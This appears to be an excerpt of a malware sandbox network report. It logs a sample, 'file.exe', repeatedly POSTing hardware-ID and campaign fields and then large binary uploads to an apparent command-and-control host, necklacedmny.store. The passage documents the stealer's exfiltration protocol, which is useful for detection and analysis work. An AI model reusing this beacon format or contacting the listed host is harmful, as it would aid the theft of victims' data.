2b 4e 51 7a 66 54 64 51 48 6f 69 75 52 50 50 Data Ascii: xIGXUbnfv09itPF4xmKOzQMJdV3j01UDM1cDgK9Ej+W92MkcpJjZMRKr+2mHSo7JEk84C/jUM303UB6IrkTxldzWmUnruuoCILT7O+RmndIeCDYFoJgrZVZbBJWsTLaXm8jeUeXf6U99+v1z1WGC2F0JeEWgiyUkVkxO3fIN8cnciplWpZLmDCu57mvDb5vcVjFIbu2ZbjMRZDCkq1O81JuQ+Ra9nNkxEqv7aYdKjskSTzgL+NQzfTdQHoiuRPP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.96.3	443	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:09 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-11-01 04:52:09 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:52:10 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cdom4in6om9vpea5thcmuvuge5; expires=Mon, 24-Feb-2025 22:38:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TgReArcUyReUCgf%2BGfM81xCiMzLRlJCecfX8MDJ%2FYnGDvqvxhk5QK4Fn4gSU1QPswEHYUj4ZEkJ4Xw%2F6%2BpR0aEiFFtvvWvuzb%2Fs37mm0O1mzjabjjVox9u66XtEZn723mzjAefM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db946172dd0e817-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=1804361&cwnd=251&unsent_bytes=0&cid=23d12c5bb45d235c&ts=730&x=0"
2024-11-01 04:52:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:52:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.96.3	443	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:10 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-11-01 04:52:10 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:52:11 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vn53hrf354ij4f0n1dupoomor3; expires=Mon, 24-Feb-2025 22:38:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LZCqguoO%2B3eQ%2BueAlSzxHPPJgSlfh3Lffj4XeUDGju5FsaXyvkRw1c1wj0SfroVdMAaX90lQnGGzJGfSorKhrJxJV3%2FJ7NVY3RwOMwKctyidUFwycCO2wOMOsMVj1DQzin3FODA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db946203d686c22-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1139&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16024&delivery_rate=2483704&cwnd=239&unsent_bytes=0&cid=082d3d1cefbf85a9&ts=532&x=0"
2024-11-01 04:52:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:52:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.96.3	443	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:12 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-11-01 04:52:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:52:12 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-11-01 04:52:12 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n8pnuulct3sqfojcfl9cjgn3no; expires=Mon, 24-Feb-2025 22:38:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3KptCWhKWiKfuLcFxSBVYWyTBsMLVokaFsRGCDskTEVjiG5L%2FFmIJ3dONAvEZ8KLCfmlxMDjss4bkRGBBB0ohq5l%2FzE%2FTyZ%2B%2BLKaA3AfiwPWJ%2FNRX%2FPiQXmj41UjvAVQoCJWMec%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db946289d0de7c7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1375&sent=10&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=2043754&cwnd=251&unsent_bytes=0&cid=3742a5d1196fbc6c&ts=636&x=0"
2024-11-01 04:52:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:52:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.96.3	443	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:13 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1258 Host: necklacedmny.store
2024-11-01 04:52:13 UTC	1258	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:52:14 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=svjfeugi2c042dmrggdo420t3u; expires=Mon, 24-Feb-2025 22:38:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0yS%2BsQcyqWbB5mToP7Yewoaeth0fQi6mpQ8vwRZKemm7aq5XxqaToxFlK%2FC9KQL5CnLjsyfr6yDTFY%2BtdDuoBmor1WKCEXy6vGKBWliOSqP4aGMKQlgLGZeDhUV6WfOXbzSSkZE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db946338dfda924-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1387&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2177&delivery_rate=1950168&cwnd=201&unsent_bytes=0&cid=b04b269b7fdf3a37&ts=964&x=0"
2024-11-01 04:52:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:52:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	188.114.96.3	443	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:15 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586215 Host: necklacedmny.store
2024-11-01 04:52:15 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:52:15 UTC	15331	OUT	Data Raw: 5d 79 e4 ef 92 bf a4 b4 78 92 a3 a2 1c 2c 08 fc 2c e2 9a 03 04 c0 1b 21 3b b5 5a 70 3d c4 e9 c0 98 c6 ed 0a d1 75 8d fa 6d e6 d6 23 09 01 79 b1 65 2c e1 5e a8 b9 5e 80 30 49 8a 54 69 f2 2e b0 b4 6c e7 7e 79 5a b9 49 90 90 de f9 ea 71 21 0b 23 55 d8 f7 e0 13 e6 bb 42 87 3e 2e 4f 9c 56 8e ae 12 04 62 95 93 cf f3 01 75 aa 01 ab 5d 7e 6a c1 a1 d7 e0 d7 d3 d5 4a d7 ff e4 50 b0 38 67 e4 f5 83 50 57 51 d6 e2 6f 6a fb 63 f8 a3 13 0c e0 8b f2 ad b6 07 e5 6d 90 9f fb 05 ec dc 98 1d cf 74 59 ff f3 07 65 ee cc 2a bf bb 95 c0 64 37 24 8f 8c de 1b 7b c0 7e a4 ab d4 29 b0 37 ff 2d b4 1d 75 79 0c d8 25 5f fe b7 a1 b3 ae 1a e1 07 1d 60 0e 87 88 4d 6a 3e 02 38 5e 89 00 49 a6 69 83 39 1a eb 9f cc 2a a0 04 48 a2 b8 3b 28 21 fb e3 e0 ad 4d ca 85 4e 3b 88 b9 4f ae 5f 18 38 3e Data Ascii: ]yx,,!;Zp=um#ye,^^0ITi.l~yZIq!#UB>.OVbu]~jJP8gPWQojcmtYed7${~)7-uy%_`Mj>8^Ii9H;(!MN;O_8>
2024-11-01 04:52:15 UTC	15331	OUT	Data Raw: 76 19 49 51 22 fd 13 e5 fb 65 d3 d8 40 83 b2 d7 f4 ce b2 5f f7 df 87 fb 65 c7 c5 c6 6e 68 9d 47 3e ae 9b e7 20 c2 73 5d 16 7d 9e a3 8b 3a ba 26 cb bc b0 b3 1d fd d7 1e 42 36 6d 81 d8 f6 c1 5c ea d7 a8 12 5d ec 6d 3e 65 56 d0 57 00 9c dd a6 07 b9 77 76 cc 30 9c 36 2b 07 96 2a 77 2c d8 1f e0 b5 0f 05 8f 27 2e dc 54 bc 4c af 5b 9f 5f 1c 34 d3 5b 5c d1 a1 ff d1 02 88 9d 8b 51 47 b4 82 72 32 fd 5f 98 6c 4c 3d 75 be 3a 9c a0 b2 b7 7a a6 be db 64 4f 56 d5 36 34 fc 80 41 a4 24 a1 40 bc 99 57 5b 8d f5 20 43 9e 1b ca eb a6 0f fd ef 39 95 a7 01 7d f7 6f ed f1 d0 0b 02 11 17 40 f8 d0 cd 70 0f c0 96 7d 0a c0 49 33 d0 1f 0e fa af cf f8 20 df 16 03 0a cf 89 db fc bf 87 f3 24 1d 15 b0 79 2d 8a a0 67 41 a8 b1 a2 89 21 00 f0 18 e1 66 90 d5 50 5b dd d4 58 8e 0e 60 3e a8 19 Data Ascii: vIQ"e@_enhG> s]}:&B6m\]m>eVWwv06+*w,'.TL[_4[\QGr2_lL=u:zdOV64A$@W[ C9}o@p}I3 $y-gA!fP[X`>
2024-11-01 04:52:15 UTC	15331	OUT	Data Raw: ac 63 05 fc 47 5f 40 67 a4 15 6e 0d 58 77 17 53 4f 43 19 15 9b 22 bc e6 b5 4a c6 7a 8a 0d 0a 0f d2 41 7b 29 7f 91 a4 f5 94 80 2d 30 d3 cc 0c ae 06 48 45 4b 95 c9 f5 63 70 72 61 2f 87 54 4c 14 45 ec db cb cc 3f 31 c5 73 54 69 a2 bc 55 6e be 39 43 56 41 ce 81 68 0b ae 43 e9 b5 fa be 7c b6 51 3d 06 a0 de d1 03 ee f3 a0 f5 fc 4e 22 db 3e d9 15 99 f8 1f 8c da 49 94 60 c1 2a 19 b9 f2 5d 18 89 7f 35 c1 46 69 f9 77 65 d2 f6 71 3f bb a4 aa 17 67 1e fd 64 1d 06 4a 41 57 85 00 57 53 1a 89 34 c8 4f 05 7b 14 8b 46 fc 05 9a 6c 0c ec 8e 7b 67 04 98 49 56 77 95 02 fc c1 1d f5 f0 25 e6 72 31 ff 1b 11 20 7c f8 c6 b0 9d 22 a0 77 b3 02 59 e2 ec 8d 05 af c2 8f 8c 39 01 d6 36 aa 9c a6 4c 29 cd 62 87 7d f7 e9 fe c2 9c c9 5b 6a 09 34 ae f3 fc cb d6 6d 60 c7 74 f3 51 95 41 77 fe Data Ascii: cG_@gnXwSOC"JzA{)-0HEKcpra/TLE?1sTiUn9CVAhC\|Q=N">I`*]5Fiweq?gdJAWWS4O{Fl{gIVw%r1 \|"wY96L)b}[j4m`tQAw
2024-11-01 04:52:15 UTC	15331	OUT	Data Raw: 67 2d b7 35 86 73 a2 dd d6 7a e3 c4 5b 3f b0 28 a0 2e c6 1f 15 b9 0f ed ce b8 32 c2 dd 1e 19 6c 64 54 06 95 1c 0e 3f 23 27 45 3b d0 3e 5e a5 c3 32 f2 6c d7 81 f3 b0 07 ec 71 7f 3e 7c 5c 63 ba fd 13 09 2b bb ff 66 d1 50 7a bc d3 a5 40 87 47 fd ba cc 53 ee 38 18 68 6a 39 87 33 09 12 85 f5 7d 53 0d c1 1f 3e 3a 3f 46 3d 61 96 15 16 3f 12 93 67 c0 37 21 52 6d a3 95 b3 7c 7e 34 43 87 cf dd 5b 55 36 82 77 3d f7 8f ca a9 bd 9c a8 90 6f 8f fa b5 73 84 f4 50 dc 8b 07 ed 9d d9 6b ac 62 fe d3 4b 5e d7 1c c2 d1 43 9c 73 92 09 2f c8 c7 78 ea 01 7c 66 91 6a f6 4b 09 1c fa 22 c8 d9 c7 1f ae 58 50 7e c5 ba 2f 1c be 1c bf 50 a3 23 ff 7f 06 eb ff ff 70 48 8c 63 1c e1 29 28 a0 d5 a9 48 9d 05 1d 28 ce f7 ee bf ae d4 e6 c8 70 1e f6 29 01 7e ba e6 fd cd 22 77 08 87 7c a8 00 50 Data Ascii: g-5sz[?(.2ldT?#'E;>^2lq>\|\c+fPz@GS8hj93}S>:?F=a?g7!Rm\|~4C[U6w=osPkbK^Cs/x\|fjK"XP~/P#pHc)(H(p)~"w\|P
2024-11-01 04:52:15 UTC	15331	OUT	Data Raw: c3 9f 07 fd 27 07 a6 4c ba ae eb fc 00 b4 5a e6 d5 92 44 d5 67 da f2 c3 f4 7c 35 72 af 9b 9c 9f 6f 9a 36 d2 c5 d3 32 72 3f 29 4d 49 a8 47 90 03 e6 d6 ac 63 c7 85 a6 d4 ae c7 ff 1b 3f a0 13 02 ef 3a 0b a4 28 83 3c 99 af 24 8e ed f3 17 40 f7 85 ac 25 5f 0c 12 b1 21 05 14 c7 66 6f b9 90 bf b2 9b 2e 22 49 0c 3d b1 6d 9a 80 cb 63 77 e1 7f 8d f2 50 ec e4 12 65 ed 58 71 26 1f ac bf d8 ec dd ee fb 20 94 97 8d da 5f f0 fc c2 5f 9c 51 1f 3f 80 b1 82 43 2f a9 a9 7b 2d 76 2e df 2d 71 6f 90 af 36 c3 b5 5f 53 78 f4 f2 b3 33 f0 32 ef 60 3e 2a fc 0c fe 91 10 d9 3b 1d 69 a1 50 79 c5 87 99 3a 10 36 1a d7 66 3f 68 c4 85 72 5b 8e ac a3 fc eb 4c f6 d9 48 ad 26 9c 86 ff 7d 1d 6f a2 fe 5d 4e 94 23 f6 fd 02 a1 8e 72 8a 1f b7 29 0a 7a 13 73 b5 99 7e 57 d8 66 3b 58 d1 9b eb 0b 08 Data Ascii: 'LZDg\|5ro62r?)MIGc?:(<$@%_!fo."I=mcwPeXq& __Q?C/{-v.-qo6_Sx32`>*;iPy:6f?hr[LH&}o]N#r)zs~Wf;X
2024-11-01 04:52:15 UTC	15331	OUT	Data Raw: 86 86 35 24 b3 03 d2 af c2 67 de c9 a5 63 c9 3a 4b aa aa 8a d1 57 29 5e 48 43 54 e8 c2 e4 ab 06 f7 c3 82 d2 8a 50 1b 3d d7 9b 75 44 97 e7 14 4b 18 77 9c c3 b5 2f 68 7a fb 8f 69 9e 36 ca df cc 21 7d c0 77 15 75 6b 30 b5 79 c3 f1 44 e2 31 7b 34 cc 85 86 00 e7 2e 16 94 44 2a b1 51 54 4f fd 29 58 72 eb 32 7d b2 8a 34 f3 53 21 3b bf 59 5f 5f 5d 34 fb 18 29 06 11 99 46 6a d0 73 76 ac 3d bc 4b 1a 55 dd bb 9c c5 02 fb fa 1d 5e 14 08 8e 39 2c d8 0f f2 ec a5 ec cb 26 83 e7 a8 9f 85 e9 77 96 23 b5 77 ae f5 60 72 c8 68 41 04 97 74 c1 b8 3c 1f 56 96 6e f1 fe 47 02 88 37 23 60 d6 51 2b 1f 94 70 2d d1 dc ab d1 08 fd 50 42 cc fa 7d e3 34 e3 40 11 ec 4a 52 e8 e9 18 84 91 32 b7 3c 1b 02 87 2b 59 4c ee 2e 7f 6c fe 56 26 01 c7 f4 04 c6 f4 04 7b 6d dc 41 89 bb 70 01 88 e3 73 Data Ascii: 5$gc:KW)^HCTP=uDKw/hzi6!}wuk0yD1{4.D*QTO)Xr2}4S!;Y__]4)Fjsv=KU^9,&w#w`rhAt<VnG7#`Q+p-PB}4@JR2<+YL.lV&{mAps
2024-11-01 04:52:15 UTC	15331	OUT	Data Raw: e2 5d fe 63 91 12 96 fb 03 d6 49 8f 62 da 8f 45 21 df 2f af e3 56 d0 52 d9 14 25 95 2f b2 bc e3 66 75 ca 50 4e d1 75 de 04 84 59 d0 92 88 00 62 c3 f5 a4 73 44 b9 a6 83 23 ec ff 06 4e dd 8e 85 e1 18 35 62 3e cd d6 83 d1 b3 0b 17 b4 74 fd 65 fc b1 78 47 88 58 af df d7 61 83 6f dc 8c 8a 0d 72 88 69 48 39 45 dc 4e 0c da 7a 3e e8 97 9b dd ca db 71 31 1a 79 06 f1 54 87 2e 0e 3a 64 a2 cb 1d 62 8b 68 b7 e6 f7 8f 3d 8e d4 d7 8b 4f 9d e8 f7 02 70 de 34 b0 74 5a ff 3c 33 f0 6d df 81 10 7b 70 7c bf bd 49 e8 22 85 36 10 d0 28 30 76 f2 bb 7b 8a 73 d0 13 0c 52 a9 47 c7 10 a5 c0 49 95 67 6b 67 2e cc 8d 05 b5 e8 45 79 04 ad 79 d7 c4 13 22 6c a1 c2 de e5 9b b5 69 47 a3 75 73 fe b5 ba c1 52 ea 57 cf d7 0a 51 e7 84 b9 37 9e 1e e6 ba 8e f0 5f 8a 87 ae 1a 1d 40 da fd ea 1d d0 Data Ascii: ]cIbE!/VR%/fuPNuYbsD#N5b>texGXaoriH9ENz>q1yT.:dbh=Op4tZ<3m{p\|I"6(0v{sRGIgkg.Eyy"liGusRWQ7_@
